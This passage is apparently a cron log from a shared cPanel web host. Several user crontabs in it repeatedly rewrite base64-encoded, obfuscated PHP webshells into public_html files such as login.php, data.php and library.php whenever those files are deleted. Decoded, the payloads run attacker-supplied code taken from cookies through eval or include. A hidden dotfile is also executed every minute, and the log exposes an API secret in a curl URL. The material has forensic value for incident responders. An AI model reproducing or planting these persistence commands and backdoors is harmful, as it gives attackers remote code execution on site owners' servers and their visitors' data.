"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:02:01 medusa CROND[19611]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:02:01 medusa CROND[19612]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:02:01 medusa CROND[19613]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:02:01 medusa CROND[19615]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:02:01 medusa CROND[19614]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:02:01 medusa CROND[19619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:02:01 medusa CROND[19621]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:02:01 medusa CROND[19623]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:02:01 medusa CROND[19625]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:03:01 medusa CROND[10737]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:03:02 medusa CROND[10798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:03:02 medusa CROND[10799]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:03:02 medusa CROND[10800]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:03:02 medusa CROND[10801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:03:02 medusa CROND[10804]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:03:02 medusa CROND[10806]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:03:02 medusa CROND[10807]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:03:02 medusa CROND[10808]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:03:02 medusa CROND[10816]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:03:02 medusa CROND[10817]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:03:02 medusa CROND[10821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:04:02 medusa CROND[1699]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:04:02 medusa CROND[1753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:04:02 medusa CROND[1772]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:04:02 medusa CROND[1773]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:04:02 medusa CROND[1776]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBp